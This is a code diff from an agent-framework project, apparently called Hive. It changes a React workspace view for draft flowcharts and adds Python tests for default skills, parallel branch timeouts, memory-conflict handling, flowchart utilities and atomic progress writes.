setGraphPanelPct(prev => Math.min(prev, 30));
} else {
setGraphPanelPct(savedGraphPanelPct.current);
}
}, [nodeIsSelected]); // eslint-disable-line react-hooks/exhaustive-deps
// Ref mirror of sessionsByAgent so SSE callback can read current graph
// state without adding sessionsByAgent to its dependency array.
@@ -571,6 +613,9 @@ export default function Workspace() {
// it was created in (avoids stale-closure when phase change and message
// events arrive in the same React batch).
const queenPhaseRef = useRef<Record<string, string>>({});
// Timestamp when designingDraft was set — used to enforce minimum spinner duration.
const designingDraftSinceRef = useRef<Record<string, number>>({});
const designingDraftTimerRef = useRef<Record<string, ReturnType<typeof setTimeout>>>({});
// Synchronous ref to suppress the queen's auto-intro SSE messages
// after a cold-restore (where we already restored the conversation from disk).
@@ -1180,8 +1225,8 @@ export default function Workspace() {
graphsApi.draftGraph(state.sessionId).then(({ draft }) => {
if (draft) updateAgentState(agentType, { draftGraph: draft });
}).catch(() => {});
} else {
// Fetch flowchart map for non-planning phases (staging, running, building)
} else if (state.queenPhase !== "building") {
// Fetch flowchart map for non-building phases (staging, running)
if (state.originalDraft) continue; // already have it
if (fetchedFlowchartMapSessionsRef.current.has(state.sessionId)) continue;
fetchedFlowchartMapSessionsRef.current.add(state.sessionId);
@@ -1190,6 +1235,7 @@ export default function Workspace() {
updateAgentState(agentType, {
flowchartMap: map,
originalDraft: original_draft,
draftGraph: null,
});
}
}).catch(() => {});
@@ -1578,6 +1624,16 @@ export default function Workspace() {
const chatMsg = sseEventToChatMessage(event, agentType, displayName, currentTurn);
if (isQueen) console.log('[QUEEN] chatMsg:', chatMsg?.id, chatMsg?.content?.slice(0, 50), 'turn:', currentTurn);
if (chatMsg && !suppressQueenMessages) {
// Queen emits multiple client_output_delta / llm_text_delta snapshots
// across iterations and inner tool-loop turns. Build a stable ID that
// groups streaming deltas for the *same* output (same execution +
// iteration + inner_turn) into one bubble, while keeping distinct
// outputs as separate bubbles so earlier text isn't overwritten.
if (isQueen && (event.type === "client_output_delta" || event.type === "llm_text_delta") && event.execution_id) {
const iter = event.data?.iteration ?? 0;
const inner = event.data?.inner_turn ?? 0;
chatMsg.id = `queen-stream-${event.execution_id}-${iter}-${inner}`;
}
if (isQueen) {
chatMsg.role = role;
chatMsg.phase = queenPhaseRef.current[agentType] as ChatMessage["phase"];
@@ -1823,6 +1879,15 @@ export default function Workspace() {
const toolName = (event.data?.tool_name as string) || "unknown";
const toolUseId = (event.data?.tool_use_id as string) || "";
// Flag when the queen starts designing/updating the flowchart
if (isQueen && toolName === "save_agent_draft") {
designingDraftSinceRef.current[agentType] = Date.now();
// Clear any pending delayed-clear timer from a previous call
const prev = designingDraftTimerRef.current[agentType];
if (prev) clearTimeout(prev);
updateAgentState(agentType, { designingDraft: true });
}
// Track active (in-flight) tools and upsert activity row into chat
const sid = event.stream_id;
setAgentStates(prev => {
@@ -2030,20 +2095,19 @@ export default function Workspace() {
queenBuilding: newPhase === "building",
// Sync workerRunState so the RunButton reflects the phase
workerRunState: newPhase === "running" ? "running" : "idle",
// Clear draft graph once we leave planning/building; keep it during
// building so the DraftGraph can show a loading overlay.
...(newPhase !== "planning" && newPhase !== "building"
? { draftGraph: null }
: newPhase === "planning"
? { originalDraft: null, flowchartMap: null }
: {}),
// Clear originalDraft/flowchartMap when re-entering planning.
// draftGraph is cleared later when originalDraft arrives, so the
// entrance animation has data to render during the handoff.
...(newPhase === "planning"
? { originalDraft: null, flowchartMap: null }
: {}),
// Store agent path for credential queries
...(eventAgentPath ? { agentPath: eventAgentPath } : {}),
});
{
const sid = agentStates[agentType]?.sessionId;
if (sid) {
if (newPhase !== "planning") {
if (newPhase !== "planning" && newPhase !== "building") {
fetchedDraftSessionsRef.current.delete(sid);
fetchedFlowchartMapSessionsRef.current.delete(sid);
// Fetch the flowchart map (original draft + dissolution mapping)
@@ -2053,7 +2117,8 @@ export default function Workspace() {
originalDraft: original_draft,
});
}).catch(() => {});
} else {
} else if (newPhase === "planning") {
// Only clear dedup sets when re-entering planning (not building)
fetchedDraftSessionsRef.current.delete(sid);
fetchedFlowchartMapSessionsRef.current.delete(sid);
}
@@ -2066,7 +2131,28 @@ export default function Workspace() {
// The draft dict is published directly as event.data (not nested under a key)
const draft = event.data as unknown as DraftGraphData | undefined;
if (draft?.nodes) {
updateAgentState(agentType, { draftGraph: draft });
// Ensure the "Designing flowchart…" spinner stays visible for a
// minimum duration so users see feedback before the draft appears.
const MIN_SPINNER_MS = 600;
const since = designingDraftSinceRef.current[agentType] || 0;
const elapsed = Date.now() - since;
const remaining = Math.max(0, MIN_SPINNER_MS - elapsed);
const applyDraft = () => {
delete designingDraftTimerRef.current[agentType];
updateAgentState(agentType, { draftGraph: draft, designingDraft: false });
};
if (remaining > 0 && since > 0) {
// Update draftGraph now (so data is ready) but keep spinner visible
updateAgentState(agentType, { draftGraph: draft });
designingDraftTimerRef.current[agentType] = setTimeout(() => {
updateAgentState(agentType, { designingDraft: false });
delete designingDraftTimerRef.current[agentType];
}, remaining);
} else {
applyDraft();
}
}
break;
}
@@ -2077,6 +2163,7 @@ export default function Workspace() {
updateAgentState(agentType, {
flowchartMap: mapData.map ?? null,
originalDraft: mapData.original_draft ?? null,
draftGraph: null,
});
}
break;
@@ -2764,7 +2851,6 @@ export default function Workspace() {
const activeWorkerLabel = activeAgentState?.displayName || formatAgentDisplayName(baseAgentType(activeWorker));
return (
<div className="flex flex-col h-screen bg-background overflow-hidden">
<TopBar
@@ -2812,38 +2898,40 @@ export default function Workspace() {
{/* Main content area */}
<div className="flex flex-1 min-h-0">
{/* ── Pipeline graph + chat ─────────────────────────────────── */}
<div className={`${((activeAgentState?.queenPhase === "planning" || activeAgentState?.queenPhase === "building") && activeAgentState?.draftGraph) || activeAgentState?.originalDraft ? "w-[500px] min-w-[400px]" : "w-[300px] min-w-[240px]"} bg-card/30 flex flex-col border-r border-border/30 transition-[width] duration-200`}>
{/* ── Draft flowchart + chat ─────────────────────────────────── */}
<div
className="bg-card/30 flex flex-col border-r border-border/30 relative"
style={{ width: `${graphPanelPct}%`, minWidth: 240, flexShrink: 0 }}
>
<div className="flex-1 min-h-0">
{(activeAgentState?.queenPhase === "planning" || activeAgentState?.queenPhase === "building") && activeAgentState?.draftGraph ? (
<DraftGraph draft={activeAgentState.draftGraph} building={activeAgentState?.queenBuilding} onRun={handleRun} onPause={handlePause} runState={activeAgentState?.workerRunState ?? "idle"} />
) : activeAgentState?.originalDraft ? (
<DraftGraph
draft={activeAgentState.originalDraft}
building={activeAgentState?.queenBuilding}
onRun={handleRun}
onPause={handlePause}
runState={activeAgentState?.workerRunState ?? "idle"}
flowchartMap={activeAgentState.flowchartMap ?? undefined}
runtimeNodes={currentGraph.nodes}
onRuntimeNodeClick={(runtimeNodeId) => {
const node = currentGraph.nodes.find(n => n.id === runtimeNodeId);
if (node) setSelectedNode(prev => prev?.id === node.id ? null : node);
}}
/>
) : (
<AgentGraph
nodes={currentGraph.nodes}
title={currentGraph.title}
onNodeClick={(node) => setSelectedNode(prev => prev?.id === node.id ? null : node)}
onRun={handleRun}
onPause={handlePause}
runState={activeAgentState?.workerRunState ?? "idle"}
building={activeAgentState?.queenBuilding ?? false}
queenPhase={activeAgentState?.queenPhase ?? "building"}
/>
)}
<DraftGraph
key={activeWorker}
draft={activeAgentState?.originalDraft ?? activeAgentState?.draftGraph ?? null}
originalDraft={activeAgentState?.originalDraft ?? null}
loadingMessage={
activeAgentState?.designingDraft
? "Designing flowchart…"
: !activeAgentState?.originalDraft && !activeAgentState?.draftGraph && activeAgentState?.queenPhase !== "planning"
? "Loading flowchart…"
: null
}
building={activeAgentState?.queenBuilding}
onRun={handleRun}
onPause={handlePause}
runState={activeAgentState?.workerRunState ?? "idle"}
flowchartMap={activeAgentState?.flowchartMap ?? undefined}
runtimeNodes={currentGraph.nodes}
onRuntimeNodeClick={(runtimeNodeId) => {
const node = currentGraph.nodes.find(n => n.id === runtimeNodeId);
if (node) setSelectedNode(prev => prev?.id === node.id ? null : node);
}}
/>
</div>
{/* Resize handle */}
<div
className="absolute top-0 right-0 w-1 h-full cursor-col-resize hover:bg-primary/30 active:bg-primary/40 transition-colors z-10"
onMouseDown={() => { resizing.current = true; document.body.style.cursor = "col-resize"; }}
/>
</div>
<div className="flex-1 min-w-0 flex">
<div className="flex-1 min-w-0 relative">
+2 -1
View File
@@ -1,6 +1,6 @@
[project]
name = "framework"
version = "0.5.1"
version = "0.7.1"
description = "Goal-driven agent runtime with Builder-friendly observability"
readme = "README.md"
requires-python = ">=3.11"
@@ -11,6 +11,7 @@ dependencies = [
"litellm>=1.81.0",
"mcp>=1.0.0",
"fastmcp>=2.0.0",
"croniter>=1.4.0",
"tools",
]
+1
View File
@@ -33,6 +33,7 @@ API_KEY_PROVIDERS = [
("TOGETHER_API_KEY", "Together AI", "together_ai/meta-llama/Llama-3.3-70B-Instruct-Turbo"),
("DEEPSEEK_API_KEY", "DeepSeek", "deepseek-chat"),
("MINIMAX_API_KEY", "MiniMax", "MiniMax-M2.5"),
("HIVE_API_KEY", "Hive LLM", "hive/queen"),
]
+188
View File
@@ -0,0 +1,188 @@
"""Tests for default skills — parsing, token budget, and configuration."""
from pathlib import Path
import pytest
from framework.skills.config import DefaultSkillConfig, SkillsConfig
from framework.skills.defaults import (
SHARED_MEMORY_KEYS,
SKILL_REGISTRY,
DefaultSkillManager,
)
from framework.skills.parser import parse_skill_md
_DEFAULT_SKILLS_DIR = (
Path(__file__).resolve().parent.parent / "framework" / "skills" / "_default_skills"
)
class TestDefaultSkillFiles:
"""Verify all 6 built-in SKILL.md files parse correctly."""
def test_all_six_skills_exist(self):
assert len(SKILL_REGISTRY) == 6
@pytest.mark.parametrize("skill_name,dir_name", list(SKILL_REGISTRY.items()))
def test_skill_parses(self, skill_name, dir_name):
path = _DEFAULT_SKILLS_DIR / dir_name / "SKILL.md"
assert path.is_file(), f"Missing SKILL.md at {path}"
parsed = parse_skill_md(path, source_scope="framework")
assert parsed is not None, f"Failed to parse {path}"
assert parsed.name == skill_name
assert parsed.description
assert parsed.body
assert parsed.source_scope == "framework"
def test_combined_token_budget(self):
"""All default skill bodies combined should be under 2000 tokens (~8000 chars)."""
total_chars = 0
for dir_name in SKILL_REGISTRY.values():
path = _DEFAULT_SKILLS_DIR / dir_name / "SKILL.md"
parsed = parse_skill_md(path, source_scope="framework")
assert parsed is not None
total_chars += len(parsed.body)
approx_tokens = total_chars // 4
assert approx_tokens < 2000, (
f"Combined default skill bodies are ~{approx_tokens} tokens "
f"({total_chars} chars), exceeding the 2000 token budget"
)
def test_shared_memory_keys_all_prefixed(self):
"""All shared memory keys must start with underscore."""
for key in SHARED_MEMORY_KEYS:
assert key.startswith("_"), f"Shared memory key missing _ prefix: {key}"
class TestDefaultSkillManager:
def test_load_all_defaults(self):
manager = DefaultSkillManager()
manager.load()
assert len(manager.active_skill_names) == 6
for name in SKILL_REGISTRY:
assert name in manager.active_skill_names
def test_load_idempotent(self):
manager = DefaultSkillManager()
manager.load()
first_skills = dict(manager.active_skills)
manager.load()
assert manager.active_skills == first_skills
def test_build_protocols_prompt(self):
manager = DefaultSkillManager()
manager.load()
prompt = manager.build_protocols_prompt()
assert prompt.startswith("## Operational Protocols")
# Should contain content from each active skill
for name in SKILL_REGISTRY:
skill = manager.active_skills[name]
# At least some of the body should appear
assert skill.body[:20] in prompt
def test_protocols_prompt_empty_when_all_disabled(self):
config = SkillsConfig(all_defaults_disabled=True)
manager = DefaultSkillManager(config)
manager.load()
assert manager.build_protocols_prompt() == ""
assert manager.active_skill_names == []
def test_disable_single_skill(self):
config = SkillsConfig.from_agent_vars(
default_skills={"hive.quality-monitor": {"enabled": False}}
)
manager = DefaultSkillManager(config)
manager.load()
assert "hive.quality-monitor" not in manager.active_skill_names
assert len(manager.active_skill_names) == 5
def test_disable_all_via_convention(self):
config = SkillsConfig.from_agent_vars(default_skills={"_all": {"enabled": False}})
manager = DefaultSkillManager(config)
manager.load()
assert manager.active_skill_names == []
def test_log_active_skills(self, caplog):
import logging
with caplog.at_level(logging.INFO, logger="framework.skills.defaults"):
manager = DefaultSkillManager()
manager.load()
manager.log_active_skills()
assert "Default skills active:" in caplog.text
def test_log_all_disabled(self, caplog):
import logging
config = SkillsConfig(all_defaults_disabled=True)
with caplog.at_level(logging.INFO, logger="framework.skills.defaults"):
manager = DefaultSkillManager(config)
manager.load()
manager.log_active_skills()
assert "all disabled" in caplog.text
class TestSkillsConfig:
def test_default_is_enabled(self):
config = SkillsConfig()
assert config.is_default_enabled("hive.note-taking") is True
def test_explicit_disable(self):
config = SkillsConfig(
default_skills={"hive.note-taking": DefaultSkillConfig(enabled=False)}
)
assert config.is_default_enabled("hive.note-taking") is False
assert config.is_default_enabled("hive.batch-ledger") is True
def test_all_disabled_flag(self):
config = SkillsConfig(all_defaults_disabled=True)
assert config.is_default_enabled("hive.note-taking") is False
assert config.is_default_enabled("anything") is False
def test_from_agent_vars_basic(self):
config = SkillsConfig.from_agent_vars(
default_skills={
"hive.note-taking": {"enabled": True},
"hive.quality-monitor": {"enabled": False},
},
skills=["deep-research"],
)
assert config.is_default_enabled("hive.note-taking") is True
assert config.is_default_enabled("hive.quality-monitor") is False
assert config.skills == ["deep-research"]
def test_from_agent_vars_bool_shorthand(self):
config = SkillsConfig.from_agent_vars(default_skills={"hive.note-taking": False})
assert config.is_default_enabled("hive.note-taking") is False
def test_from_agent_vars_all_disabled(self):
config = SkillsConfig.from_agent_vars(default_skills={"_all": {"enabled": False}})
assert config.all_defaults_disabled is True
def test_get_default_overrides(self):
config = SkillsConfig.from_agent_vars(
default_skills={
"hive.batch-ledger": {"enabled": True, "checkpoint_every_n": 10},
}
)
overrides = config.get_default_overrides("hive.batch-ledger")
assert overrides == {"checkpoint_every_n": 10}
def test_get_default_overrides_empty(self):
config = SkillsConfig()
assert config.get_default_overrides("hive.note-taking") == {}
def test_from_agent_vars_none_inputs(self):
config = SkillsConfig.from_agent_vars(default_skills=None, skills=None)
assert config.skills == []
assert config.default_skills == {}
assert config.all_defaults_disabled is False
+197
View File
@@ -12,6 +12,7 @@ Covers:
- Single-edge paths unaffected
"""
import asyncio
from unittest.mock import MagicMock
import pytest
@@ -77,6 +78,19 @@ class TimingNode(NodeProtocol):
)
class SlowNode(NodeProtocol):
"""Sleeps before returning -- used for timeout testing."""
def __init__(self, delay: float = 10.0):
self.delay = delay
self.executed = False
async def execute(self, ctx: NodeContext) -> NodeResult:
await asyncio.sleep(self.delay)
self.executed = True
return NodeResult(success=True, output={"result": "slow"}, tokens_used=1, latency_ms=1)
# --- Fixtures ---
@@ -492,3 +506,186 @@ async def test_parallel_disabled_uses_sequential(runtime, goal):
# Only one branch should have executed (sequential follows first edge)
executed_count = sum([b1_impl.executed, b2_impl.executed])
assert executed_count == 1
# === 12. Branch timeout cancels slow branch ===
@pytest.mark.asyncio
async def test_branch_timeout_cancels_slow_branch(runtime, goal):
"""A branch exceeding branch_timeout_seconds should be cancelled."""
b1 = NodeSpec(
id="b1", name="B1", description="slow", node_type="event_loop", output_keys=["b1_out"]
)
b2 = NodeSpec(
id="b2", name="B2", description="fast", node_type="event_loop", output_keys=["b2_out"]
)
graph = _make_fanout_graph([b1, b2])
config = ParallelExecutionConfig(branch_timeout_seconds=0.1, on_branch_failure="fail_all")
executor = GraphExecutor(
runtime=runtime, enable_parallel_execution=True, parallel_config=config
)
executor.register_node("source", SuccessNode({"data": "x"}))
executor.register_node("b1", SlowNode(delay=10.0))
executor.register_node("b2", SuccessNode({"b2_out": "ok"}))
result = await executor.execute(graph, goal, {})
# fail_all: one branch timed out → execution fails
assert not result.success
assert "failed" in result.error.lower()
# === 13. Branch timeout with continue_others ===
@pytest.mark.asyncio
async def test_branch_timeout_with_continue_others(runtime, goal):
"""continue_others should let fast branches finish even when one times out."""
b1 = NodeSpec(
id="b1", name="B1", description="slow", node_type="event_loop", output_keys=["b1_out"]
)
b2 = NodeSpec(
id="b2", name="B2", description="fast", node_type="event_loop", output_keys=["b2_out"]
)
graph = _make_fanout_graph([b1, b2])
config = ParallelExecutionConfig(
branch_timeout_seconds=0.1, on_branch_failure="continue_others"
)
executor = GraphExecutor(
runtime=runtime, enable_parallel_execution=True, parallel_config=config
)
executor.register_node("source", SuccessNode({"data": "x"}))
executor.register_node("b1", SlowNode(delay=10.0))
b2_impl = SuccessNode({"b2_out": "ok"})
executor.register_node("b2", b2_impl)
await executor.execute(graph, goal, {})
# continue_others tolerates the timeout
assert b2_impl.executed
# === 14. Branch timeout with fail_all (explicit) ===
@pytest.mark.asyncio
async def test_branch_timeout_with_fail_all(runtime, goal):
"""fail_all should propagate timeout as execution failure."""
b1 = NodeSpec(
id="b1", name="B1", description="slow", node_type="event_loop", output_keys=["b1_out"]
)
b2 = NodeSpec(
id="b2", name="B2", description="also slow", node_type="event_loop", output_keys=["b2_out"]
)
graph = _make_fanout_graph([b1, b2])
config = ParallelExecutionConfig(branch_timeout_seconds=0.1, on_branch_failure="fail_all")
executor = GraphExecutor(
runtime=runtime, enable_parallel_execution=True, parallel_config=config
)
executor.register_node("source", SuccessNode({"data": "x"}))
executor.register_node("b1", SlowNode(delay=10.0))
executor.register_node("b2", SlowNode(delay=10.0))
result = await executor.execute(graph, goal, {})
assert not result.success
# === 15. Memory conflict: last_wins ===
@pytest.mark.asyncio
async def test_memory_conflict_last_wins(runtime, goal):
"""last_wins should allow both branches to write the same key without error."""
# Use distinct output_keys in spec (to pass graph validation) but have
# the node impl write a shared key at runtime — this is the scenario
# memory_conflict_strategy is designed to handle.
b1 = NodeSpec(
id="b1", name="B1", description="b1", node_type="event_loop", output_keys=["b1_out"]
)
b2 = NodeSpec(
id="b2", name="B2", description="b2", node_type="event_loop", output_keys=["b2_out"]
)
graph = _make_fanout_graph([b1, b2])
config = ParallelExecutionConfig(memory_conflict_strategy="last_wins")
executor = GraphExecutor(
runtime=runtime, enable_parallel_execution=True, parallel_config=config
)
executor.register_node("source", SuccessNode({"data": "x"}))
# Both impls write "shared_key" — triggers conflict detection at runtime
executor.register_node("b1", SuccessNode({"shared_key": "from_b1", "b1_out": "ok"}))
executor.register_node("b2", SuccessNode({"shared_key": "from_b2", "b2_out": "ok"}))
result = await executor.execute(graph, goal, {})
assert result.success
# The key should exist with one of the two values
assert result.output.get("shared_key") in ("from_b1", "from_b2")
# === 16. Memory conflict: first_wins ===
@pytest.mark.asyncio
async def test_memory_conflict_first_wins(runtime, goal):
"""first_wins should keep the first branch's value and skip later writes."""
b1 = NodeSpec(
id="b1", name="B1", description="b1", node_type="event_loop", output_keys=["b1_out"]
)
b2 = NodeSpec(
id="b2", name="B2", description="b2", node_type="event_loop", output_keys=["b2_out"]
)
graph = _make_fanout_graph([b1, b2])
config = ParallelExecutionConfig(memory_conflict_strategy="first_wins")
executor = GraphExecutor(
runtime=runtime, enable_parallel_execution=True, parallel_config=config
)
executor.register_node("source", SuccessNode({"data": "x"}))
executor.register_node("b1", SuccessNode({"shared_key": "from_b1", "b1_out": "ok"}))
executor.register_node("b2", SuccessNode({"shared_key": "from_b2", "b2_out": "ok"}))
result = await executor.execute(graph, goal, {})
assert result.success
# === 17. Memory conflict: error raises ===
@pytest.mark.asyncio
async def test_memory_conflict_error_raises(runtime, goal):
"""error strategy should fail when two branches write the same key."""
b1 = NodeSpec(
id="b1", name="B1", description="b1", node_type="event_loop", output_keys=["b1_out"]
)
b2 = NodeSpec(
id="b2", name="B2", description="b2", node_type="event_loop", output_keys=["b2_out"]
)
graph = _make_fanout_graph([b1, b2])
config = ParallelExecutionConfig(memory_conflict_strategy="error")
executor = GraphExecutor(
runtime=runtime, enable_parallel_execution=True, parallel_config=config
)
executor.register_node("source", SuccessNode({"data": "x"}))
executor.register_node("b1", SuccessNode({"shared_key": "from_b1", "b1_out": "ok"}))
executor.register_node("b2", SuccessNode({"shared_key": "from_b2", "b2_out": "ok"}))
result = await executor.execute(graph, goal, {})
assert not result.success
# The conflict RuntimeError is caught inside execute_single_branch,
# which causes the branch to fail. fail_all then raises its own error.
assert "failed" in result.error.lower()
+276
View File
@@ -0,0 +1,276 @@
"""Tests for framework/tools/flowchart_utils.py."""
import json
from types import SimpleNamespace
from framework.tools.flowchart_utils import (
FLOWCHART_FILENAME,
FLOWCHART_TYPES,
classify_flowchart_node,
generate_fallback_flowchart,
load_flowchart_file,
save_flowchart_file,
synthesize_draft_from_runtime,
)
def _make_node(
id,
name="Node",
description="",
node_type="event_loop",
tools=None,
input_keys=None,
output_keys=None,
success_criteria="",
sub_agents=None,
):
"""Create a minimal node-like object matching NodeSpec interface."""
return SimpleNamespace(
id=id,
name=name,
description=description,
node_type=node_type,
tools=tools or [],
input_keys=input_keys or [],
output_keys=output_keys or [],
success_criteria=success_criteria,
sub_agents=sub_agents or [],
)
def _make_edge(source, target, condition="on_success", description=""):
"""Create a minimal edge-like object matching EdgeSpec interface."""
return SimpleNamespace(
source=source,
target=target,
condition=SimpleNamespace(value=condition),
description=description,
)
def _make_goal(
name="Test Goal", description="A test goal", success_criteria=None, constraints=None
):
"""Create a minimal goal-like object matching Goal interface."""
return SimpleNamespace(
name=name,
description=description,
success_criteria=success_criteria or [],
constraints=constraints or [],
)
def _make_graph(nodes, edges, entry_node=None, terminal_nodes=None):
"""Create a minimal graph-like object matching GraphSpec interface."""
return SimpleNamespace(
nodes=nodes,
edges=edges,
entry_node=entry_node or (nodes[0].id if nodes else ""),
terminal_nodes=terminal_nodes or [],
)
class TestClassifyFlowchartNode:
"""Test flowchart node classification logic."""
def test_first_node_is_start(self):
node = {"id": "n1", "node_type": "event_loop", "tools": []}
result = classify_flowchart_node(node, 0, 3, [], set())
assert result == "start"
def test_terminal_node(self):
node = {"id": "n3", "node_type": "event_loop", "tools": []}
edges = [{"source": "n1", "target": "n3"}]
result = classify_flowchart_node(node, 2, 3, edges, {"n3"})
assert result == "terminal"
def test_gcu_node_is_browser(self):
node = {"id": "n2", "node_type": "gcu", "tools": []}
edges = [{"source": "n1", "target": "n2"}]
result = classify_flowchart_node(node, 1, 3, edges, set())
assert result == "browser"
def test_subprocess_node(self):
node = {"id": "n2", "node_type": "event_loop", "tools": [], "sub_agents": ["sub1"]}
edges = [{"source": "n1", "target": "n2"}, {"source": "n2", "target": "n3"}]
result = classify_flowchart_node(node, 1, 3, edges, set())
assert result == "subprocess"
def test_default_is_process(self):
node = {"id": "n2", "node_type": "event_loop", "tools": [], "description": "do stuff"}
edges = [{"source": "n1", "target": "n2"}, {"source": "n2", "target": "n3"}]
result = classify_flowchart_node(node, 1, 3, edges, set())
assert result == "process"
def test_explicit_override(self):
node = {"id": "n2", "node_type": "event_loop", "tools": [], "flowchart_type": "database"}
edges = [{"source": "n1", "target": "n2"}]
result = classify_flowchart_node(node, 1, 3, edges, set())
assert result == "database"
def test_decision_node_with_branching(self):
node = {"id": "n2", "node_type": "event_loop", "tools": []}
edges = [
{"source": "n1", "target": "n2"},
{"source": "n2", "target": "n3", "condition": "on_success"},
{"source": "n2", "target": "n4", "condition": "on_failure"},
]
result = classify_flowchart_node(node, 1, 4, edges, set())
assert result == "decision"
class TestSynthesizeDraftFromRuntime:
"""Test runtime graph to DraftGraph conversion."""
def test_basic_linear_graph(self):
nodes = [
_make_node("intake", "Intake"),
_make_node("process", "Process"),
_make_node("deliver", "Deliver"),
]
edges = [
_make_edge("intake", "process"),
_make_edge("process", "deliver"),
]
draft, fmap = synthesize_draft_from_runtime(
nodes, edges, agent_name="test_agent", goal_name="Test"
)
assert draft["agent_name"] == "test_agent"
assert draft["goal"] == "Test"
assert len(draft["nodes"]) == 3
assert len(draft["edges"]) == 2
assert draft["entry_node"] == "intake"
assert "deliver" in draft["terminal_nodes"]
# First node should be start type
assert draft["nodes"][0]["flowchart_type"] == "start"
# Last node (terminal) should be terminal type
assert draft["nodes"][2]["flowchart_type"] == "terminal"
# Middle node should be process
assert draft["nodes"][1]["flowchart_type"] == "process"
# All nodes should have shape and color
for node in draft["nodes"]:
assert "flowchart_shape" in node
assert "flowchart_color" in node
# Flowchart map should be identity
assert fmap == {"intake": ["intake"], "process": ["process"], "deliver": ["deliver"]}
# Legend should contain all types
assert draft["flowchart_legend"] == {
k: {"shape": v["shape"], "color": v["color"]} for k, v in FLOWCHART_TYPES.items()
}
def test_graph_with_sub_agents(self):
nodes = [
_make_node("main", "Main", sub_agents=["helper"]),
_make_node("helper", "Helper"),
]
edges = [_make_edge("main", "helper")]
draft, fmap = synthesize_draft_from_runtime(nodes, edges)
# Sub-agent edges should be added
assert len(draft["edges"]) > 1
# Helper should be grouped under main in the flowchart map
assert "helper" not in fmap
assert fmap["main"] == ["main", "helper"]
class TestFlowchartFilePersistence:
"""Test save/load of flowchart.json."""
def test_save_and_load(self, tmp_path):
draft = {"agent_name": "test", "nodes": [], "edges": []}
fmap = {"n1": ["n1"]}
save_flowchart_file(tmp_path, draft, fmap)
loaded_draft, loaded_map = load_flowchart_file(tmp_path)
assert loaded_draft == draft
assert loaded_map == fmap
def test_load_missing_file(self, tmp_path):
draft, fmap = load_flowchart_file(tmp_path)
assert draft is None
assert fmap is None
def test_load_none_path(self):
draft, fmap = load_flowchart_file(None)
assert draft is None
assert fmap is None
def test_save_none_path(self):
# Should not raise
save_flowchart_file(None, {}, {})
class TestGenerateFallbackFlowchart:
"""Test the main entry point for fallback generation."""
def test_generates_file_when_missing(self, tmp_path):
nodes = [
_make_node("n1", "Start Node"),
_make_node("n2", "End Node"),
]
edges = [_make_edge("n1", "n2")]
graph = _make_graph(nodes, edges, entry_node="n1", terminal_nodes=["n2"])
goal = _make_goal()
generate_fallback_flowchart(graph, goal, tmp_path)
flowchart_path = tmp_path / FLOWCHART_FILENAME
assert flowchart_path.exists()
data = json.loads(flowchart_path.read_text())
assert data["original_draft"]["agent_name"] == tmp_path.name
assert data["original_draft"]["goal"] == "A test goal"
assert data["flowchart_map"] is not None
# Entry/terminal from GraphSpec should be used
assert data["original_draft"]["entry_node"] == "n1"
assert "n2" in data["original_draft"]["terminal_nodes"]
def test_skips_when_file_exists(self, tmp_path):
# Pre-create a flowchart.json
existing = {"original_draft": {"agent_name": "existing"}, "flowchart_map": {}}
(tmp_path / FLOWCHART_FILENAME).write_text(json.dumps(existing))
nodes = [_make_node("n1", "Node")]
graph = _make_graph(nodes, [], entry_node="n1")
goal = _make_goal()
generate_fallback_flowchart(graph, goal, tmp_path)
# Should not have been overwritten
data = json.loads((tmp_path / FLOWCHART_FILENAME).read_text())
assert data["original_draft"]["agent_name"] == "existing"
def test_handles_errors_gracefully(self, tmp_path):
# Pass an invalid path (file, not directory)
fake_path = tmp_path / "not_a_dir.txt"
fake_path.write_text("hello")
graph = _make_graph([], [])
goal = _make_goal()
# Should not raise
generate_fallback_flowchart(graph, goal, fake_path)
def test_enriches_with_goal_metadata(self, tmp_path):
nodes = [_make_node("n1", "Node")]
graph = _make_graph(nodes, [], entry_node="n1")
goal = _make_goal(
description="Find bugs",
success_criteria=[SimpleNamespace(description="All bugs found")],
constraints=[SimpleNamespace(description="No false positives")],
)
generate_fallback_flowchart(graph, goal, tmp_path)
data = json.loads((tmp_path / FLOWCHART_FILENAME).read_text())
assert data["original_draft"]["goal"] == "Find bugs"
assert data["original_draft"]["success_criteria"] == ["All bugs found"]
assert data["original_draft"]["constraints"] == ["No false positives"]
+70
View File
@@ -3,12 +3,16 @@ Tests for core GraphExecutor execution paths.
Focused on minimal success and failure scenarios.
"""
import json
import logging
import pytest
from framework.graph.edge import GraphSpec
from framework.graph.executor import GraphExecutor
from framework.graph.goal import Goal
from framework.graph.node import NodeResult, NodeSpec
from framework.utils.io import atomic_write
# ---- Dummy runtime (no real logging) ----
@@ -25,6 +29,14 @@ class DummyRuntime:
pass
class DummyMemory:
def __init__(self, data):
self._data = data
def read_all(self):
return self._data
# ---- Fake node that always succeeds ----
class SuccessNode:
def validate_input(self, ctx):
@@ -245,3 +257,61 @@ async def test_executor_no_events_without_event_bus():
result = await executor.execute(graph=graph, goal=goal)
assert result.success is True
def test_write_progress_uses_atomic_write_and_updates_state(tmp_path, monkeypatch):
runtime = DummyRuntime()
executor = GraphExecutor(runtime=runtime, storage_path=tmp_path)
state_path = tmp_path / "state.json"
state_path.write_text(json.dumps({"entry_point": "primary"}), encoding="utf-8")
memory = DummyMemory({"foo": "bar"})
called = {}
def recording_atomic_write(path, *args, **kwargs):
called["path"] = path
return atomic_write(path, *args, **kwargs)
monkeypatch.setattr("framework.graph.executor.atomic_write", recording_atomic_write)
executor._write_progress(
current_node="node-b",
path=["node-a", "node-b"],
memory=memory,
node_visit_counts={"node-a": 1, "node-b": 1},
)
state = json.loads(state_path.read_text(encoding="utf-8"))
assert called["path"] == state_path
assert state["entry_point"] == "primary"
assert state["progress"]["current_node"] == "node-b"
assert state["progress"]["path"] == ["node-a", "node-b"]
assert state["progress"]["node_visit_counts"] == {"node-a": 1, "node-b": 1}
assert state["progress"]["steps_executed"] == 2
assert state["memory"] == {"foo": "bar"}
assert state["memory_keys"] == ["foo"]
assert "updated_at" in state["timestamps"]
def test_write_progress_logs_warning_on_atomic_write_failure(tmp_path, monkeypatch, caplog):
runtime = DummyRuntime()
executor = GraphExecutor(runtime=runtime, storage_path=tmp_path)
state_path = tmp_path / "state.json"
state_path.write_text(json.dumps({"entry_point": "primary"}), encoding="utf-8")
memory = DummyMemory({"foo": "bar"})
def failing_atomic_write(*args, **kwargs):
raise OSError("disk full")
monkeypatch.setattr("framework.graph.executor.atomic_write", failing_atomic_write)
with caplog.at_level(logging.WARNING):
executor._write_progress(
current_node="node-b",
path=["node-a", "node-b"],
memory=memory,
node_visit_counts={"node-a": 1, "node-b": 1},
)
assert "Failed to persist progress state to" in caplog.text
